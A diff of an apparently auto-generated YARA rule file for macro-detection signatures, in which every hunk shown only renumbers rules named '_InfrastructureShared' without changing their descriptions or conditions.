"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286377,7 +302847,7 @@ rule _InfrastructureShared_21706{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21707{ +rule _InfrastructureShared_22991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286387,7 +302857,7 @@ rule _InfrastructureShared_21707{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21708{ +rule _InfrastructureShared_22992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286397,7 +302867,7 @@ rule _InfrastructureShared_21708{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21709{ +rule _InfrastructureShared_22993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286407,7 +302877,7 @@ rule _InfrastructureShared_21709{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21710{ +rule _InfrastructureShared_22994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286417,7 +302887,7 @@ rule _InfrastructureShared_21710{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21711{ +rule _InfrastructureShared_22995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286427,7 +302897,7 @@ rule _InfrastructureShared_21711{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21712{ +rule _InfrastructureShared_22996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286437,7 +302907,7 @@ rule _InfrastructureShared_21712{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21713{ +rule _InfrastructureShared_22997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286447,7 +302917,7 @@ rule _InfrastructureShared_21713{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21714{ +rule _InfrastructureShared_22998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286457,7 +302927,7 @@ rule _InfrastructureShared_21714{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21715{ +rule _InfrastructureShared_22999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286467,7 +302937,7 @@ rule _InfrastructureShared_21715{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21716{ +rule _InfrastructureShared_23000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286477,7 +302947,7 @@ rule _InfrastructureShared_21716{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21717{ +rule _InfrastructureShared_23001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286487,7 +302957,7 @@ rule _InfrastructureShared_21717{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21718{ +rule _InfrastructureShared_23002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286497,7 +302967,7 @@ rule _InfrastructureShared_21718{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21719{ +rule _InfrastructureShared_23003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286507,7 +302977,7 @@ rule _InfrastructureShared_21719{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21720{ +rule _InfrastructureShared_23004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286517,7 +302987,7 @@ rule _InfrastructureShared_21720{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21721{ +rule _InfrastructureShared_23005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286527,7 +302997,7 @@ rule _InfrastructureShared_21721{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21722{ +rule _InfrastructureShared_23006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286537,7 +303007,7 @@ rule _InfrastructureShared_21722{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21723{ +rule _InfrastructureShared_23007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286547,7 +303017,7 @@ rule _InfrastructureShared_21723{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21724{ +rule _InfrastructureShared_23008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286557,7 +303027,7 @@ rule _InfrastructureShared_21724{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21725{ +rule _InfrastructureShared_23009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286567,7 +303037,7 @@ rule _InfrastructureShared_21725{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21726{ +rule _InfrastructureShared_23010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286577,7 +303047,7 @@ rule _InfrastructureShared_21726{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21727{ +rule _InfrastructureShared_23011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286587,7 +303057,7 @@ rule _InfrastructureShared_21727{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21728{ +rule _InfrastructureShared_23012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286597,7 +303067,7 @@ rule _InfrastructureShared_21728{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21729{ +rule _InfrastructureShared_23013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286607,7 +303077,7 @@ rule _InfrastructureShared_21729{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21730{ +rule _InfrastructureShared_23014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286617,7 +303087,7 @@ rule _InfrastructureShared_21730{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21731{ +rule _InfrastructureShared_23015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286627,7 +303097,7 @@ rule _InfrastructureShared_21731{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21732{ +rule _InfrastructureShared_23016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286637,7 +303107,7 @@ rule _InfrastructureShared_21732{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21733{ +rule _InfrastructureShared_23017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286647,7 +303117,7 @@ rule _InfrastructureShared_21733{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21734{ +rule _InfrastructureShared_23018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286657,7 +303127,7 @@ rule _InfrastructureShared_21734{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21735{ +rule _InfrastructureShared_23019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286667,7 +303137,7 @@ rule _InfrastructureShared_21735{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21736{ +rule _InfrastructureShared_23020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286677,7 +303147,7 @@ rule _InfrastructureShared_21736{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21737{ +rule _InfrastructureShared_23021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286687,7 +303157,7 @@ rule _InfrastructureShared_21737{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21738{ +rule _InfrastructureShared_23022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286697,7 +303167,7 @@ rule _InfrastructureShared_21738{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21739{ +rule _InfrastructureShared_23023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286707,7 +303177,7 @@ rule _InfrastructureShared_21739{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21740{ +rule _InfrastructureShared_23024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286717,7 +303187,7 @@ rule _InfrastructureShared_21740{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21741{ +rule _InfrastructureShared_23025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286727,7 +303197,7 @@ rule _InfrastructureShared_21741{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21742{ +rule _InfrastructureShared_23026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286737,7 +303207,7 @@ rule _InfrastructureShared_21742{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21743{ +rule _InfrastructureShared_23027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286747,7 +303217,7 @@ rule _InfrastructureShared_21743{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21744{ +rule _InfrastructureShared_23028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286757,7 +303227,7 @@ rule _InfrastructureShared_21744{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21745{ +rule _InfrastructureShared_23029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286767,7 +303237,7 @@ rule _InfrastructureShared_21745{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21746{ +rule _InfrastructureShared_23030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286777,7 +303247,7 @@ rule _InfrastructureShared_21746{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21747{ +rule _InfrastructureShared_23031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286787,7 +303257,7 @@ rule _InfrastructureShared_21747{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21748{ +rule _InfrastructureShared_23032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286797,7 +303267,7 @@ rule _InfrastructureShared_21748{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21749{ +rule _InfrastructureShared_23033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286807,7 +303277,7 @@ rule _InfrastructureShared_21749{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21750{ +rule _InfrastructureShared_23034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286817,7 +303287,7 @@ rule _InfrastructureShared_21750{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21751{ +rule _InfrastructureShared_23035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286827,7 +303297,7 @@ rule _InfrastructureShared_21751{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21752{ +rule _InfrastructureShared_23036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286837,7 +303307,7 @@ rule _InfrastructureShared_21752{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21753{ +rule _InfrastructureShared_23037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286847,7 +303317,7 @@ rule _InfrastructureShared_21753{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21754{ +rule _InfrastructureShared_23038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286857,7 +303327,7 @@ rule _InfrastructureShared_21754{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21755{ +rule _InfrastructureShared_23039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286867,7 +303337,7 @@ rule _InfrastructureShared_21755{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21756{ +rule _InfrastructureShared_23040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286877,7 +303347,7 @@ rule _InfrastructureShared_21756{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21757{ +rule _InfrastructureShared_23041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286887,7 +303357,7 @@ rule _InfrastructureShared_21757{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21758{ +rule _InfrastructureShared_23042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286897,7 +303367,7 @@ rule _InfrastructureShared_21758{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21759{ +rule _InfrastructureShared_23043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286907,7 +303377,7 @@ rule _InfrastructureShared_21759{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21760{ +rule _InfrastructureShared_23044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286917,7 +303387,7 @@ rule _InfrastructureShared_21760{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21761{ +rule _InfrastructureShared_23045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286927,7 +303397,7 @@ rule _InfrastructureShared_21761{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21762{ +rule _InfrastructureShared_23046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286937,7 +303407,7 @@ rule _InfrastructureShared_21762{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21763{ +rule _InfrastructureShared_23047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286947,7 +303417,7 @@ rule _InfrastructureShared_21763{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21764{ +rule _InfrastructureShared_23048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286957,7 +303427,7 @@ rule _InfrastructureShared_21764{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21765{ +rule _InfrastructureShared_23049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286967,7 +303437,7 @@ rule _InfrastructureShared_21765{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21766{ +rule _InfrastructureShared_23050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286977,7 +303447,7 @@ rule _InfrastructureShared_21766{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21767{ +rule _InfrastructureShared_23051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286987,7 +303457,7 @@ rule _InfrastructureShared_21767{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21768{ +rule _InfrastructureShared_23052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286997,7 +303467,7 @@ rule _InfrastructureShared_21768{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21769{ +rule _InfrastructureShared_23053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287007,7 +303477,7 @@ rule _InfrastructureShared_21769{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21770{ +rule _InfrastructureShared_23054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287017,7 +303487,7 @@ rule _InfrastructureShared_21770{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21771{ +rule _InfrastructureShared_23055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287027,7 +303497,7 @@ rule _InfrastructureShared_21771{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21772{ +rule _InfrastructureShared_23056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287037,7 +303507,7 @@ rule _InfrastructureShared_21772{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21773{ +rule _InfrastructureShared_23057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287047,7 +303517,7 @@ rule _InfrastructureShared_21773{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21774{ +rule _InfrastructureShared_23058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287057,7 +303527,7 @@ rule _InfrastructureShared_21774{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21775{ +rule _InfrastructureShared_23059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287067,7 +303537,7 @@ rule _InfrastructureShared_21775{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21776{ +rule _InfrastructureShared_23060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287077,7 +303547,7 @@ rule _InfrastructureShared_21776{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21777{ +rule _InfrastructureShared_23061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287087,7 +303557,7 @@ rule _InfrastructureShared_21777{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21778{ +rule _InfrastructureShared_23062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287097,7 +303567,7 @@ rule _InfrastructureShared_21778{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21779{ +rule _InfrastructureShared_23063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287107,7 +303577,7 @@ rule _InfrastructureShared_21779{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21780{ +rule _InfrastructureShared_23064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287117,7 +303587,7 @@ rule _InfrastructureShared_21780{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21781{ +rule _InfrastructureShared_23065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287127,7 +303597,7 @@ rule _InfrastructureShared_21781{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21782{ +rule _InfrastructureShared_23066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287137,7 +303607,7 @@ rule _InfrastructureShared_21782{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21783{ +rule _InfrastructureShared_23067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287147,7 +303617,7 @@ rule _InfrastructureShared_21783{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21784{ +rule _InfrastructureShared_23068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287157,7 +303627,7 @@ rule _InfrastructureShared_21784{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21785{ +rule _InfrastructureShared_23069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287167,7 +303637,7 @@ rule _InfrastructureShared_21785{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21786{ +rule _InfrastructureShared_23070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287177,7 +303647,7 @@ rule _InfrastructureShared_21786{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21787{ +rule _InfrastructureShared_23071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287187,7 +303657,7 @@ rule _InfrastructureShared_21787{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21788{ +rule _InfrastructureShared_23072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287197,7 +303667,7 @@ rule _InfrastructureShared_21788{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21789{ +rule _InfrastructureShared_23073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287207,7 +303677,7 @@ rule _InfrastructureShared_21789{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21790{ +rule _InfrastructureShared_23074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287217,7 +303687,7 @@ rule _InfrastructureShared_21790{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21791{ +rule _InfrastructureShared_23075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287227,7 +303697,7 @@ rule _InfrastructureShared_21791{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21792{ +rule _InfrastructureShared_23076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287237,7 +303707,7 @@ rule _InfrastructureShared_21792{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21793{ +rule _InfrastructureShared_23077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287247,7 +303717,7 @@ rule _InfrastructureShared_21793{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21794{ +rule _InfrastructureShared_23078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287257,7 +303727,7 @@ rule _InfrastructureShared_21794{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21795{ +rule _InfrastructureShared_23079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287267,7 +303737,7 @@ rule _InfrastructureShared_21795{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21796{ +rule _InfrastructureShared_23080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287277,7 +303747,7 @@ rule _InfrastructureShared_21796{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21797{ +rule _InfrastructureShared_23081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287287,7 +303757,7 @@ rule _InfrastructureShared_21797{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21798{ +rule _InfrastructureShared_23082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287297,7 +303767,7 @@ rule _InfrastructureShared_21798{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21799{ +rule _InfrastructureShared_23083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287307,7 +303777,7 @@ rule _InfrastructureShared_21799{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21800{ +rule _InfrastructureShared_23084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287317,7 +303787,7 @@ rule _InfrastructureShared_21800{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21801{ +rule _InfrastructureShared_23085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287327,7 +303797,7 @@ rule _InfrastructureShared_21801{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21802{ +rule _InfrastructureShared_23086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287337,7 +303807,7 @@ rule _InfrastructureShared_21802{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21803{ +rule _InfrastructureShared_23087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287347,7 +303817,7 @@ rule _InfrastructureShared_21803{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21804{ +rule _InfrastructureShared_23088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287357,7 +303827,7 @@ rule _InfrastructureShared_21804{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21805{ +rule _InfrastructureShared_23089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287367,7 +303837,7 @@ rule _InfrastructureShared_21805{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21806{ +rule _InfrastructureShared_23090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287377,7 +303847,7 @@ rule _InfrastructureShared_21806{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21807{ +rule _InfrastructureShared_23091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287387,7 +303857,7 @@ rule _InfrastructureShared_21807{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21808{ +rule _InfrastructureShared_23092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287397,7 +303867,7 @@ rule _InfrastructureShared_21808{ ((#a_53_0 & 1)*19747) >=1 } 